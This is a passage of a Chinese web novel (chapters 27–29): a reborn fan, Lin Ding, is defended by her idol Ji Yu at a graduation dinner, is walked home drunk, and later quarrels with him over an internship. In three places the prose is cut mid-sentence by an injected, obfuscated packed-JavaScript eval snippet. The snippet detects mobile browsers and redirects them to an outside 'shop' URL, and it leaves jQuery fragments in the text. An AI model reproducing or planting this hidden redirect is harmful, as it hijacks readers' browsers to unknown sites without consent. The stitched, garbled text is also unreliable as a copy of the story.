晓春的脸色“唰”地一下变白。她多么喜欢自己的男朋友,今晚的班级聚餐,还是她特意邀请男友一起来的,没想到竟遭到如此恶毒的诋毁。 “她不会看上的是你这种吧?”冯维指向桌子另一头的体委,“我知道你以前喜欢过林定,怎么,她也是这般瞧不上你吗?” 体委见他如此不尊重人,皱眉道:“冯维,你别在那里无事生非。林定同学是个好人,我们之间没有任何的纠纷!况且我现在已经有女朋友了,请你不要在胡说八道了!” “哦?原来你是看不上林定,选了别人啊……” “哗!” 一杯冰凉的啤酒,迎面泼上了冯维的脸。 班里的一众同学哗然。 金黄色的液体顺着冯维的头发、脸颊如瀑般落下,浇灭了他最后的体面。 冯维难以置信地擦了把脸,睁开眼睛,盯住了那个动手的人。 “林定!!!” 他所有的“喜欢”,在这一刻全部消失殆尽,只剩下被当众羞辱的难堪和愤怒,“给你脸了是不是?我告诉你,我本来也没多喜欢你!你性格不好,行为做事竟如此粗鲁,哪个男的能看得上你,哪个男人愿意牵你的手?真是够了!你刚才还敢提级花和校花?你拿什么和人家比?!” 这一连串恶毒的话语,他一口气倾泻而出。 林定却在这时候真正笑出了声,她笑的露出八颗皓齿,眼睛弯成了月牙。 “你终于,”她笑声渐止,“把心里话说出来了。” 和前世一模一样。 原来在他眼中,她始终是这般不堪。 可笑,也可悲。她脸上的笑容渐渐消失,取而代之的是一种显而易见的怜悯。 这种眼神比任何话语都更让冯维生气,他的理智消失,猛地抬起手,似乎想做些什么。 但那只手还没碰到林定,就被一旁伸出的手狠狠打了下去。 “啪!” 紧接着,是冯维的应声倒地。 何纯和前世一样,没有一点儿犹豫,一拳将冯维揍倒在地。 “闭上你的狗嘴,”何纯挡在林定面前,居高临下地看着倒在地上的冯维,声音冰冷,“别招惹我朋友,你这种人渣,不配。” 看着两位挚友,前世今生都站在她这边、为她出面,林定喉咙有一些哽咽,眼眶渐渐发热。 地上的冯维,仍不知悔改,一边爆着粗口,一边挣扎着想爬起来偷袭现正转向林定、背对着他的何纯。 就在他抡起拳头的瞬间,屏风那边传来了动静,将众人的视线吸引了去。 两个男人从屏风后走了出来,虽戴着口罩,但气质出众,引人惊叹。 顾蓝动作极快,一把扣住冯维妄图打人的手腕,力道之大,让冯维立刻喊痛哀嚎。 “小小年纪,”顾蓝收起了那阳光表象,声音带着嘲意,眼神变得犀利不好惹“不学好,净学些欺负女生、背后偷袭的手段?” 冯维见是两位陌生成年男子,还被对方彻底压制,羞愤交加,嘴上却不饶人,死死瞪着林定他们那边怒吼道:“笑话!哈!林定,你要不要看看你是什么东西?你呢,谁会喜欢你?只有我这种瞎了眼的才会看上你!我告诉你,错过我,看还有哪个男人会要你这种——” 他恶毒的话尚未说完,声音便戛然而止。 在所有人的注视下,纪屿径直走向林定,在满室寂静中,自然地牵起了她的手。 他的手掌宽大,包裹了林定那冰凉的手指,温暖和安全感源源不断地向她传来。 林定感觉自己像在做梦一样,只觉得此刻周围的一地鸡毛仿佛都与她无关了,她的世界就只剩下那只被他紧紧握住的手,还有心跳的咚咚声响。 纪屿淡淡地低头看了一眼口出狂言的那人,眼里的鄙夷未加掩饰,好像在看着一袋垃圾。 他声音不大,却清晰地传入每一个人耳中: “你也配?” 三个字,冰冷如刃。 说完,他不顾冯维瞬间的错愕,也无视众人惊讶的目光,只牵着林定,便朝包厢外走去。 “哐当”一声,包厢门被关上,何纯和晓春这才反应过来,面面相觑后,立刻追了出去。 郑智昊看着自家女友离去,去晓春和林定的位置上拿起两位女生的包,也夺门而去。 顾蓝松开了冯维,嫌弃地拍了拍手,丢下一句:“真够自信的啊,小弟弟。”随即也潇洒离开。 留下包厢里的同学,马上关闭了静音模式,从窃窃私语逐渐变得大声肆无忌惮。班长见这气氛实在离谱,想着这毕业聚餐大概也是无法继续了,于是清了清嗓子:“同学们,今天先到这里呗?我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16759429|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕业典礼再聚!我们结完账就散场哈……” 他正打算按下服务铃,包厢门却被推开,川菜馆老板笑眯眯地走进来:“刚刚出去的那位特别帅的年轻人已经结过账了,说这顿算林定同学请大家的。” 同学们再次炸开了锅,纷纷猜测那两位气质不凡的男生究竟是谁。 有人叹道:“我的天啊!那不会就是何纯和晓春说的,林定喜欢的那个男生?眼光也太好了,帅爆了!!!” “啥啊,那两个都很帅好吗,能不能让另外一个给我啊啊啊!” 班长语重心长道:“还喜欢的男生,拜托,那就是男友的做派啊,还请客,真大方啊!” 众人皆喜气洋洋,只剩下坐在地上的冯维,面色如纸,咬牙切齿,却再也无人理会。 * 手…… 纪屿是为她出头吗…… 手…… 为什么还一直牵着…… 手…… 他甚至还替所有人结了账…… 林定的脑子如浆糊一样,混乱的念头在里面打作一团。 她一路沉默,任纪屿紧紧牵着自己的手,那温热有力的触感,好像成了此刻仅存的真实。 直到走出川菜馆,被夏夜的微风一吹,她才清醒过来,像做了错事一样,慌忙地抽出自己的手。 真该死,偶像的手她也敢碰?粉丝道德被她丢在哪里了? 因为纪屿握得太紧,她白皙的手背上留下了清晰的红痕。 “抱歉。”纪屿看到红印,低声道。 林定的心都颤了。他为什么还要道歉,明明是他帮了她,替她解了围……她想说点什么,嗓子眼却像是被什么堵住了,而一股后知后觉的委屈劲在此刻涌了上来,浸透了她的眼。 “我刚才……”她艰难地开口,可瞬间又难过的无法言语。 说不清这难过的源头是什么,是再次被贬低的不堪,还是重来一次,依旧没能避开这件糟心事的无力感呢。 她连冯维这样的小人都躲不过,那未来那些……这念头让她感到万分恐慌。她抬眼看向纪屿,目光复杂。 她真的有能力改变吗? 纪屿只看到她眼框红红,只当是刚才坚强的小姑娘,现在他的面前卸下了盔甲。他并不擅长安慰人,尤其是女孩子,犹豫片刻,只能抬起手,轻轻地揉了揉她的发顶,掌心下是柔顺的触感。 “没事了,”他的声音比晚风更温柔,“都过去了。” 这句安慰却让林定加深了心里的难过。 她还没能为他做任何事,他却先一步,在她窘迫的时候伸出了手,像她的挚友们一样站在她的身边。 可她呢?重生两年了,都还没有为他阻止过什么。 她也没有能力,替纪屿挡下前路的困难。 她突然觉得自己好无能啊。 纪屿察觉到她情绪的波动,没有再多言,只是静静地陪她在风中站着,直到晓春和何纯从店里追出来,林定才终于回过神来,强行将那些情绪压回心底,眼泪也憋了回去。 “林小定,你没事吧?”晓春心疼地抱抱她,得到林定的回应后,便转头对纪屿笑道,“帅哥,还得是你啊!刚才太帅了吧,把里面那渣男的脸都气绿了,哈哈哈哈哈!” 纪屿并不习惯与陌生人寒暄,他只微微颔首,算是给了回应。 何纯则极其缺心眼地打量着纪屿,直接拿手指着他,大声问林定道:“所以这是咋回事啊?这真是你对象么?” 林定的委屈模式迅速扭转频道,她噗地红了脸,这何纯真是要把她气死么,怎能这么说,她自己可没胆量染指自家偶像啊! “滚滚滚,别瞎说!他是我朋友。” “朋友?从来没听你提过啊?”何纯一脸不信。 这时,顾蓝也慢悠悠地从店里晃了出来,打断道:“小朋友,话可不能乱说,这要算造谣的啊。”他可不能眼见自己的好兄弟,在这出道的节骨眼上,传出什么闹心的绯闻。 眼看何纯还要争那口舌之快,林定赶紧推了他一把:“行了行了,时间不早了,你们也快点回家吧!” 晓春贱兮兮地瞅了林定一眼,极有眼力见地招呼身后的郑智昊把何纯给架走,“林小定,你到家说一声咯~” 林定朝晓春他们挥挥手,这才松了一口气。 他们走出了二十几米来远,郑智昊突然想起来林定的包还在他手里,于是转头,小跑回来。他道:“林定,你的包……” 正向前递,可未料她的包…… “谢谢。” 纪屿自然地拿过她的挎包,然后侧头对林定轻声道:“走,送你回家。” 林定红着脸,支支吾吾道:“我……我的手机好像落你们车上了。” 27.27 我想,他也是顶流 在屏风隔开的包厢里,顾蓝一口气点了满一桌子菜,狂喜着嚷道要大吃特吃。看着那足够五人份的量,纪屿不禁皱眉:“你吃得完吗?” “还是国内的东西好吃,太香了。”顾蓝感慨道,被一块滚烫麻辣的鸭血烫得直抽气,含糊回道:“没问题,不吃完我绝对不走。”看着兄弟这狼吞虎咽的模样,纪屿忍不住勾了勾嘴角。 屏风外,是学生们喧闹的欢声笑语,顾蓝一边吃一边咕哝道:“这帮孩子嗓门真够大的。我起初还担心这屏风不隔音,现在倒好,咱俩说啥他们都听不见。”他扒拉了一大口饭,忽然想起什么,惊讶地压低声音:“诶,刚才那姑娘……不会就是你之前唱片店认识的那个小孩么?” “嗯。”纪屿端起茶杯,抿了一口。 “还真是……”顾蓝若有所思,又摇摇头,叹气道:“可惜你那条被小张借口没收的手串……” “没有了就不要提了。” “行。”顾蓝点点头,给纪屿夹了块口水鸡。 他们吃了好久,当顾蓝准备攻克最后那盘干锅牛蛙时,屏风外传来了起哄声。仔细一听,竟是有个男生在向林定表白。 纪屿握着筷子的手微微一停。 可这本是青春洋溢的浪漫剧情,只在短短几分钟内,就变成了争吵。那些尖酸刻薄的、关于“性格差劲”、“行为粗鲁”、“哪个男人会要你”的诋毁语句,清晰地从屏风那边穿过来。 纪屿的放下了筷子,攥紧了拳。 他为那个女孩被如此恶毒的评价而感到愤怒。 “这肯定是又整了,瘦能瘦成这样?” “唱得什么鬼……这还有脸当歌手?” “就这样还做队长呢?这边建议下台让位!” “笑死,腿受伤了是假的吧,我看他就是不想跳,滑水咯。” “他怎么还不去死啊。” 刹那间,前世那些不明真相便无情辱骂的言语和那些躲在屏幕后的键盘侠嘴脸,在他脑中闪现。他曾亲身经历过被无数恶意淹没的窒息,太清楚这些话能给人带来多大的伤害。那时候,如果不是还有一些坚定的声音在支持他,成为支撑他走下去的力量,他真的不知道自己是不是早就…… 他看向屏风那边,模糊的轮廓。 这一世,他认识了一个女孩,她好像一直都在用自己的方式,给予他毫无保留的支持。 而此刻,那个女孩正在被他人诋毁。 他怎么能……坐视不管呢? 他猛地站起身,椅子与地面摩擦而发出了尖锐的声响。 “别。”顾蓝反应极快,一把用力按住他的手臂,眉头紧紧皱了起来,他压低声音道:“冷静点,你现在冲出去,有想过后果吗?” 听着外面的声音越来越难听,那个男生的言语愈发刻薄恶毒,甚至带上了人身攻击……他听到林定冷静的反击,也听到了她朋友维护她的声音,但那个男生还是不依不饶。 “要出道了……别节外生枝。”顾蓝又沉声警告道。 和组合一起出道? 这早不是他要选的路了。 “看还有哪个男人会要你这种——” 听不下去了。 顾蓝见他执意如此,就不再阻拦,还同他一起带上了口罩,从屏风后走出来,出手制住了那个试图动手的男生。 而纪屿,则是在众目睽睽之下,径直走向了那个眼眶红红,却依旧挺直脊背的女孩。 他也不知道,自己为什么就走过去牵起了她的手。 也许是因为,他听到那个男生断言,没人会牵她的手。 又或者,夹杂着一些连他自己都理不清的…… 更为复杂的情愫。 * “我……我的手机好像落在你们车上了。” 顾蓝闻言,立刻拿出手机联系司机。 “还真是……”他挂断电话,“司机说在后座找到了,已经帮忙把手机和行李一起放在我们公寓的前台了,你要现在跟我们去拿吗?”顾蓝提议道。 纪屿看了看时间,已过午夜,便轻声反对道:“太晚了。”他转向林定,语气变得缓和:“如果不急用,我明天带给你?” 林定连忙点头,没有因为纪屿的拒绝而有一丝不快。 也许,他们还有别的事要处理,她也不想耽误偶像的时间。 况且,她要是跟着回练习生公寓……光是想想就觉得很不合理。虽然心底有个小声音在尖叫着说,想看看他生活的地方,但理智却在提醒她,不行,坚决不可以。 那是他的生活,她不该闯入的。 也不能闯入。 而且运气不好的话,还有可能会被拍……不过,她随即又在心里自嘲了起来,林定也太看得起自己了,就这副学生模样,狗仔怕是连镜头都懒得对准吧。 顾蓝伸手拦了辆出租车。“上车吧小姑娘,你先说地址呗,我们送你。”他说着,率先钻进了后排,林定来不及思考,也跟着坐了进去。 只是没想到,纪屿竟也坐进了后排,没有选择去副驾驶座。 两个身高腿长的男人,加上林定,瞬间就将后排塞满了。 向司机报出小区名字后,林定便开启了静音模式。虽然她自诩酒量不错,但或许是这具身体过于年轻,之前喝的酒劲现在逐渐上头了,加之刚刚那场闹剧耗费了太多心力,沉沉的睡意和疲累感还是席卷而来了。 在车辆平稳的行驶中,林定一不小心就睡了过去。 * 也不知过了多久,林定被顾蓝叫醒。 她朦胧的睡眼左右看看,迷迷糊糊地就朝开着的车门方向下车了。困意与醉意环绕着林定,她看见纪屿也站在车外,夜灯将他那好看的身影勾勒得有些不真实,她恍惚地想,这该不会,她是在梦里吧。 只见纪屿弯腰对车里的顾蓝低声说了句什么后,便关上了车门。 出租车载着顾蓝,迅速汇入车流之中远去了。 晚风一吹,林定的才稍微清醒了半分。 她看着近在咫尺的纪屿,努力地瞪大了困倦的眼睛,伸出手指着他,喊道:“你,你怎么也,下车了!” 纪屿看着眼前的女孩,双颊绯红,眼神雾蒙,对他说起话来也失了往日的那份小心翼翼,心底莫名扬起了一丝难以言喻的愉悦。 只觉得她这模样…… “你没手机,”他眼底里是极淡的笑意,“打算自己走夜路?” “啊,夜路?我、我到了的,我可以自己,”林定语无伦次地指向出租车消失的方向,“你叫他回来呗,叫顾蓝,载你回去……” “车已经走了。”他看着她,声音在夜色里显得格外动听,“走吧,送你到楼下。” 他笑起来实在太过好看,在林定醉眼朦胧的视野里,简直就是一张绝美画报……他的声音也过分悦耳了,仿佛在她最贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16788464|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那副耳机里开了环绕声一样……就连他周身萦绕的淡淡气息,也好闻得让她胡思乱想……偶像是不是……偷偷跑到了她的梦里…… 恍惚之间,她也没听清他说了什么,只是看着这张脸,晕乎乎地点了点头,领着他朝自家小区走去。 林定家所在的小区环境清幽,与爷爷住的旧小区不同。虽是深夜,但在这个一线城市里,仍能遇见不少刚下班的人。 看到一个西装革履、面容憔悴的大叔在她身边走过,林定不禁叹道:“好惨啊,太惨了吧,你这个点才下班……” 她本就醉着,音量更是无从控制,那大叔听见这话,立刻投来了不满的瞪视。 “没事的没事的,加班多了也就习惯了,我也是这么过来的……”林定对那大叔摆摆手。纪屿只当她是说胡话,有些好笑又有些无奈,上前了半步,将林定挡在身后,在那大叔发作前朝对方投去一个带着歉意的微笑。 那大叔见他气度不凡,神色稍缓了些,没再多计较。 又走了几步,见一个小姐姐提着电脑包,骑着电动车回来,林定又脱口而出:“哇,这么晚下班,公司都不给报销打车费的吗?” 很好,再次成功收获了小姐姐的怒目而视。 “别干了,别干了辞职吧!”林定认真建议道。 小姐姐的目光扫到林定身旁容貌出众的纪屿时,便瞬间红了脸,嘴里的骂骂咧咧都收了回去,加速离开了。 在林定差点被路边石阶绊倒时,纪屿及时伸手扶住了她的手臂。 有趣。小小年纪,还知道什么是加班。 纪屿看着身边这个走路都有些晃悠、还到处惹是生非的小姑娘,轻轻叹了口气。 “定定,”他低声唤道,语气柔和,“原来你是这样的。” 今晚,他见到了她在冲突中的冷静犀利,也见到了她醉酒后的率直天真,甚至还有点小小的“缺德”欠扁。 这样的她,竟是那个总是带着拘谨和乖巧的女孩的另外一面。 可为什么…… 面对他时,她总是显得那么客气疏离,仿佛他们并不熟悉。 可他们已经认识了这么久了。 是怕他吗? 还是别的什么? 纪屿有些想不明白了。 “嗯?”林定被他扶着,仰起头,迷蒙的双眼直勾勾地盯着他,小声咕哝,“我是……还在做梦?我看到纪屿了……” 说着,她竟大胆地伸出手,指尖轻轻触上了他的脸颊。 纪屿浑身一僵,愣在原地。 ……好像,也不是怕他。 林定又凑近了些,踮起了脚,仔细端详着他的脸,然后恍然大悟地点点头,语气肯定道: “还真是做梦。这个纪屿也太逼真了……这是纪屿的蜡像吗?我不会是在看他的4D电影吧。” 路边的灯光暗了又亮了,纪屿看清了她那双闪着光的笑眼,那眼澄澈地得像是盛着蓝天的水面。 “所以他什么时候才能红到入驻蜡像馆呢。”她小声自语。 “……” “这是梦。”林定沮丧道,松开了手,“因为纪屿没有蜡像,也没有拍过电影。” 纪屿挑眉,些许无奈:“为什么想让他有蜡像?” “因为……那些有蜡像的艺人,他们的实力和地位都是得到认可的……他们是顶流,”林定有些小伤感,“我想,他也是顶流。” 28.28 你的世界 林定是被窗外透进来窗猛烈阳光刺醒的。 她胡乱地伸手去摸枕边的手机,却只触碰到空无一物的床单。她睁开睡眼,怔了好几秒,昨夜碎片化的记忆在她脑子里慢慢解冻开来,那些连不起来的话语和画面,闯进她仍然不清醒的脑海之中…… 毕业聚餐…… 顾蓝…… 还有……纪屿? 她“腾”地一下从床上坐起来,宿醉后的眩晕席卷而来。 记忆碎片正在拼凑中,自己好像……搭上了他们叫的出租车? 下车还被纪屿扶了? 可是最后……她是怎么上楼的? 谁开的门? 完蛋了。 她居然在纪屿面前喝醉了。 那个两年来,在邮件里努力维持着上进形象的自己,昨晚到底在做什么啊。 她绝望地倒回床上,把本就睡乱的头发揉地更加凌乱。 她作为一个前世自诩千杯不倒的社畜,昨晚居然败给了那一点点啤酒,还是在最最最不该失态的人面前…… 形象什么的看来是再也顾不上了…… 手机…… 手机还在纪屿那里! 想到这个,她瞬间从床上弹了起来,光着脚就跑到书桌前,匆忙打开电脑。邮箱网页加载的时间,在林定看来无比漫长和惊心。 登录成功。 收件箱的最上方,果然有一封新邮件,发件人的名字让她仿佛窒息。 内容很简单,只有三个字。 【醒了吗?】 她忙回道: 【起来了,没有闹钟,不小心睡到了现在。】 ??消息刚发出去,她又觉怪怪的,匆匆补上一封: 【什么时候比较方便找你拿手机呢?】 她按下发送键后,纪屿的回复就马上弹了出来: 【今天休息。看你时间。】 【那……晚饭时间?可以帮我把手机冲一下电吗,我想在电脑上回一下别人微信,但是电脑登陆的话需要手机上面点一下授权呢。】 过了一会儿,纪屿回道: 【可以。】 林定看着那两个字,有点点发愣。这“可以”指的是晚饭时间可以,还是答应帮她充电呢? 正想着,邮箱又叮地一声。??【晚上来接你吃饭。】 ??紧接着,又响了一声:??【现在充。】 【好的!】林定速速回复。 ??回完后,她才慢慢反应过来…… 晚上偶像要来接她吃饭。 连续两天见面……真的不是她在做什么美梦吧。 大约五分钟后,纪屿的邮件再次传来。 【可以开机了。】 林定立刻敲键盘:【密码是1120。你帮我打开微信,点下登录确认就好啦。】 ??1120。 那是前世,在那个暴雨的夜,地下清吧里,她第一次听他独唱的日子。 也是她第一次,在那么近的距离里,肉眼看见真实的他。 这个秘密的数字,是只属于她的,她知道他永远都不会知道。 她点开电脑版微信,电脑屏幕上的界面成功跳转。 纪屿:【可以了。】 ??林定:【好~晚上见!!!】 她看着最后那几个感叹号,忍不住把脸埋进手心里。 怎么办,她好像太开心了。 她打开微信,果然消息已经爆了。邓晓春和何纯昨夜和今早都发来好大一连串的担心追问,远在国外的爸妈也发来了问候,再加上各个毕业群热火朝天的99+……一夜的断联,让好多人都担心了,她叹了一口气,按顺序回复亲朋好友,一一报了平安。 处理完这些消息,世界又重新恢复了安静。 她心情实在太好,那股雀跃的情绪无处释放,便打开了小说网站,一口气连更了十章,将存稿都释放了出来。故事正进行到高潮部分,笔下的祝星昕凭自身努力接连闯关成功,终于与一直倾慕的大师前辈有了并肩的高度,两人在危机中心意渐通、互相信任。看着读者在最新章评论区留下的“星昕真是太帅了!”“好嗑,好嗑!”等真情反馈,她捧着热水杯,心底升起了更加喜悦的情感。 这条她重新拾起的路,正被她越走越好,越走越光明。 快乐的时光总是飞快的,感觉没过多久,邮箱就收到了来自纪屿的新邮件: 【六点下楼。】 林定从椅子上跳起来,她冲到衣柜前,手指划过一件件衣服,开始了漫长的纠结。化妆时,她手里想往精致里折腾,却在落笔时收住,最后只是化了淡妆,让气色看起来好了一些。 对着镜子做最后确认时,林定感受到胸腔里的心脏跳动声,她深吸几口气,抓起自己的小包,提前五分钟跑下了楼。 来到小区门口,只看到一辆不起眼的黑色轿车停在路边。副驾驶的车窗摇下,顾蓝笑容明朗地朝她挥手。 不得不说,顾蓝也是有几分姿色的,把林定给帅到了。 而驾驶座上,那个握着方向盘的侧影…… 正是纪屿。 “定定小姑娘,这边!”顾蓝嬉皮笑脸地和她招呼,目光在她身上转了一圈,打趣道,“哇哦,今天这么好看?考完试就是不一样哈,整个人都在发光,待会儿去吃饭你可得跟紧点我们了,不然被人搭讪了,我们可没法帮你挡桃花哦!” 林定的脸红了,被他说得有点不好意思,含糊地应了一声,赶紧拉开后座车门钻了进去。 车内空间里弥漫着一阵清新好闻的味道。 她拘谨地坐好,小声朝着侧前方的纪屿打招呼:“晚上好呀。” 纪屿从后视镜里看了她一眼,轻轻点头:“晚上好。” 林定立刻移开视线,不敢再看镜中那双好看的眼睛,只敢将目光悄悄地落在他的后脑勺和漂亮的侧脸上。 心跳声,在播放着舒缓音乐的车厢里,好像被放大了无数倍。 林定坐在后座,看着纪屿专注开车的侧影,脑子里不合时宜地冒出一个营销号标题: 被偶像亲自当司机接送,是什么体验? 这要是匿名发到某个社交平台上,大概能引发一片羡慕的尖叫吧。 副驾上的顾蓝回过头,脸上挂着促狭的笑意,忽然问道:“诶,定定小姑娘,有个事儿我得问问清楚哦,你昨晚,是不是吐纪屿身上了?” “啊?!!” 林定瞬间觉得大脑一片空白,连呼吸都停滞了。 昨晚下车后的记忆完全断片,她根本不记得有没有这回事…… 如果这是真的…… 那就不只是形象崩塌,绝对会被讨厌的。 “我……我不知道……”她的声音都变了调,身体不自觉地向前倾,手紧紧抓着前座的椅背,眼巴巴地望着顾蓝,只希望他能补一句“我是开玩笑的啦”。 然而,顾蓝只是摆出一副颇为遗憾的表情,摇了摇头。 “太可惜了,纪屿那件衣服还是新买的呢,才穿第一天,唉……” 林定的心彻底烧成灰烬。 她羞愧尴尬到恨不得马上从车里跳出去。 “对不起……”她小声道,“我真的不记得了……” “不用理他。”正在开车的纪屿忽然开口,语气温和,打断了顾蓝的调侃。 可这话听在林定耳朵里…… 她感觉完全没有被安慰到。纪屿的意思是不要跟顾蓝计较,但他也没有反驳,说明事情是真的?她顿时陷入了更深的愧疚和不安之中,后面的路程一直沉默,连看向纪屿后脑勺的勇气都没有了。 车子驶到G市中心的一家大型商场附近。 纪屿正准备拐入地下停车区,林定看着窗外熙熙攘攘的人流,忍不住在后座弱弱发声:“要在这里吃饭吗?”这里人这么多,他们可是艺人,会不会被认出来呢,也容易被拍照。 纪屿却以为她不喜欢这里,从后视镜看了她一眼:“不喜欢这里吗?隔壁商场也有吃的。” “啊,我不不不是这个意思!”林定连忙摇头,“这里很好。” 下车后,顾蓝接到了餐厅打来的确认电话,率先跑上去占位了。 林定默默跟在纪屿身后,不言不语,像个做了错事的小跟班。 直到走进电梯,纪屿转过身,将她的手机递回给她。 “谢谢。”她接过,声音很小,然后她又陷入了不知道该说什么的沉默当中。 电梯缓缓上行,纪屿忽然开口,他勾着唇角,语气和平日里有所不同:“你和我,什么时候开始变得这么没话聊了?” 林定惊诧地抬起头,正对上他看向她的目光。 电梯的死亡顶灯,竟把他照的如此好看。 商场电梯的背景音乐是轻柔的钢琴曲,旋律在狭小的空间里流淌。他站得离她很近,近到林定能清晰地听见自己节奏紊乱的心跳声。 咚,咚,咚。 响得她不自觉地将手捂上心口。 她努力地想掩饰自己的兵荒马乱,斟酌字句道:“不是没话聊的……我是在想,要怎么跟你道歉才好。我吐的事,衣服的事,真的很对不起……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16812374|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不用放在心上。”他的话轻轻的,落在她心里却很有份量。 偶像真是世界上,最好的人…… 林定感动得又在心里爆哭起来。 为了不继续沉默,她赶紧另起了话题:“我们待会吃什么呢?” “自助餐。顾蓝说,他饿得能吞下一头牛。”纪屿回答道。 林定点点头,心里给顾蓝贴的“吃货”标签又加粗了几分。 电梯在二楼停下,门开,涌进来六七个来商场逛街的女孩子们,她们的妆容十分精致,衣着也无比时尚。这些女生的目光,从进电梯的一瞬间起,就被气质出众的纪屿吸引了,纷纷投来惊艳又花痴的打量。 林定被挤到了角落,不过她也没有不高兴。反而是在心里升起了一股与有荣焉的得意……看,我的偶像就是这么耀眼,这么绚烂,他走到哪里都是焦点。 女孩们在三楼下了电梯,空间又重新变得宽敞。 林定望着重新关上的电梯门,忍不住轻声感慨道:“长得好看就是好啊。” 话音落下,她才觉得自己在此刻说出这话似乎有一点微妙。 果然,纪屿侧过脸,目光落在她脸上。 “好看吗?” 废话!这还用问吗!你是我心里的颜值天花板诶! 林定内心在呐喊,脸上却强装镇定,努力淡淡道:“嗯……明星嘛,当然都很好看。” 【叮——】 五楼到了。 提示音打破了短暂的微妙气氛。 纪屿看着她,笑了一下,随即转身迈出了电梯。林定摸了摸自己有些发烫的脸颊,赶紧跟了上去。 * 自助餐厅里灯光把食物照的特别吸引人,香气四溢。 林定端着盘子,在取餐区犹豫地徘徊。 在她内心里,有个小人在疯狂呐喊: “吃肉!” “吃虾!” “吃蛋糕!” 但残存的理智在提醒她,自己的形象已经是负数了,能不能让形象变好一点? 所以,她最终只矜持地取了些沙拉、几片刺身和一小块看起来不太罪恶的蛋糕斯。回到座位,她小口吃着,努力维持着一种“优雅且食量不大”的假象。 与她形成鲜明对比的,是顾蓝面前迅速堆起的小山。他往返数次,餐盘里烤肉、海鲜、寿司、披萨应有尽有,此刻正风卷残云,吃得酣畅淋漓。 “顾蓝哥……你考虑过以后做吃播吗?”林定看得叹为观止,忍不住小声惊叹,“观众一定很有满足感。” “是吧?我也觉得我很有天赋!”顾蓝嘴里塞得满满的,还不忘含糊地回应,显然对这个提议颇为受用。 纪屿就坐在林定斜对面,他的餐盘内容适中,举止从容,是那种会让自助餐老板感到安心的正常食量。 他吃得不多,似乎更专注于倾听他们的对话。 顾蓝灌下一大口饮料,顺了顺气,话匣子又打开了:“对了定定,你这连着两天晚上都在外面野……你爸妈不说你?”语气熟稔得像认识多年的兄长。 “他们工作忙,经常出差,最近又不在家。”林定老实回答,用叉子戳了戳碗里的蔬菜。 “噢……那高考放榜啥时候?有把握不?” “可能月底吧。应该……还行。”她其实挺有信心,但不敢把话说满。 “想好报哪儿了没?以后想干啥?”顾蓝纯粹是闲聊,问得随意。 林定下意识地看了一眼纪屿,他正将一枚菜叶子送入口中,动作微微一顿。 她收回目光,清晰地说:“我想考B市的传媒大学。” 话音刚落,她就感到一道视线落在了自己身上。 是纪屿。 他抬起眼,看向她,那目光比刚才多了些难以辨明的意味。 “传媒大学?好啊!”顾蓝来了兴致,“这专业选得不错!以后没准儿咱们工作上还能有交集呢!”他眼睛一转,半是玩笑半是认真地说:“诶,反正你暑假闲着也是闲着,要不要来我们公司实习玩玩?哥给你内推啊!提前熟悉熟悉圈子,多好!” 实习?内推?靠近纪屿的世界? 林定的心猛地一跳,仿佛黑暗中突然亮起一束光。这不正是她梦寐以求的机会吗?能更近地看到他,了解他的环境,甚至……或许能更早发现那些潜藏的危机。她几乎要按捺不住雀跃,眼睛亮晶晶地看向顾蓝,嘴角的笑意和“好啊”两个字即将同时涌出—— “别来。” 一道冰冷的声音骤然响起,像一盆掺着冰碴的水,迎面泼来。 29.29 与偶像的争执 “别来。” 纪屿语气里的不容拒绝,让兴致勃勃的顾蓝都猛地一愣,诧异地扭头看向他。 纪屿放下了手中的餐具,与瓷盘轻轻碰撞,发出了冰冷的声响。他的脸上没什么表情,但眉宇间却冷了下来,他的目光扫过顾蓝,最后落在了林定僵住的笑脸之上。 “我是不会给你内推的。顾蓝也不可以。” 林定难以置信地看着纪屿,脱口而出:“为什么?” 她想过这条路会很难,布满荆棘,却万万没想到,第一道阻拦,竟是来自她最想、最想靠近的人。 顾蓝也困惑地问道:“纪屿,你这话什么意思?暑假实习是很正常的……” 纪屿站起身,餐桌附近的空气仿佛都随着他的动作渐渐凝固了。他没看林定,只丢下一句话:“字面意思。”话音落下,他便转身,朝餐厅出口大步走去,背影疏离,留下餐桌旁不知所措的两个人。 刚才还强行维持的平静瞬间破碎开来。林定眼圈一红,委屈和不解再也压不住,化成大颗大颗的眼泪跌落了下来。她并不想在这么多人的餐厅里失态,便只得紧紧咬着嘴唇,不让自己哭出声音来,却没法控制肩膀的颤抖。 “诶诶,你别哭啊……”顾蓝急了,手忙脚乱地把纸巾递过去,安慰道,“纪屿他今天可能……心情不太好?你别往心里去啊。” 